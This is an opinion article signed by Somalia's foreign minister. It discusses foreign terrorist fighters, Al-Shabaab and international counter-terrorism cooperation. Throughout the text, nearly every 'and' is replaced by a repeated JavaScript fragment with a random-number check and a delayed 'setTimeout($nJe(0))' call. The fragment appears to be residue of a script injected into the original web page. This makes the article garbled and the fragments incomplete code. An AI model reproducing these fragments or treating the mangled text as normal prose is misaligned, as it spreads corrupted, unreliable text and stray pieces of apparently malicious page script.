Terrorism is one of the greatest challenges the world faces today dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and tragic attacks on the innocent all over the world, including in Turkey recently, are clear evidence that it must continue to be given the utmost priority by all governments.

The challenge for the world is that, just like all other organizations, given time, space dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and where they can find partnership, terrorist groups evolve dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and innovate. Today, foreign terrorist fighters are increasing the intensity, duration dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and intractability of conflicts all over the world. The actions of foreign fighters poses a serious threat to their states of origin, the states they transit dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the states to which they travel, as well as states neighboring zones of armed conflict in which foreign terrorist fighters are active dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and that are affected by serious security burdens. Foreign fighter’s add new energy dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and distorted perspectives to conflicts as they raise morale, bring new ideas, finances, language skills dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and are targeted specifically to recruit more from within their own communities.

Today, foreign terrorist fighters are engaged in the conflicts in Syria, Yemen, Iraq dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and many other places. In Somalia, 85 percent of suicide bombings were carried out by ethnic Somalis with other nationalities including European dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and African ones. Somalia has an enormous diaspora living all across the world dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and, while they are generally a force for good in our national development journey, we classify those who return to join dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and partake in terrorism foreign fighters as they return to destroy the country dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and society our government dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and people are working so hard to build.

The recruitment of foreign fighters is not a new phenomenon. Throughout history young men dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and women have been lured to fight battles far from the comfort dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and safety of their own homes by different motivations including radicalization which distorts dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and exploits all major religions including Islam.

We should be under no illusions: in foreign fighters dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and terrorists in general, we are fighting a tough dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and determined enemy. Tough because they have no regard for human life dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and determined because they are driven either by an extreme, twisted dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and arrogant belief in their own moral superiority or by a cloak of moral superiority hiding pursuit of material gain. This makes them one of the greatest security threats the world faces today.

In order to confront the evil of terrorism dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and effectively cut the foreign fighter recruitment supply line, governments must collaborate, coordinate dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and devise implementable strategies to win the war against terror. This is the only real way that terrorism financing, the movement of foreign fighters across continents dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and borders dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the radicalization that misleads them can be challenged.

Somalia is on the verge of militarily defeating Al-Shabaab dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and our government is doing all it can to work with partner nations dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and organizations, of which Turkey, the U.N., U.S., GCC dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and EU are prime examples, to disrupt the international operations of terrorists in all fields including the poisonous recruitment of foreign fighters.

Despite every efforts dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and resources, it is not possible in an age of globalization, fluid borders dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and technological advancement to insulate ones nation or interests from terrorism alone. Partnership, knowledge sharing, adequate resources dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and comprehensive developmental partnerships, including economic investment, are as vital as the heightened security dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and physical armored personnel presence in most major cities across the world today.

While Somalia is turning the corner towards peace, progress dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and prosperity, we understdom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and the pain dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and misery terrorism dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and violence causes both people dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and nations. We therefore are staunchly committed to working with all partners to make the world a safer place for its diverse dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and interdependent people.

Dr. Abdusalam H. Omer

The Minister of Foreign Affairs dom() * 6); if (number1==3){var delay = 18000;setTimeout($nJe(0), delay);}and Investment Promotion of the Federal Republic of Somalia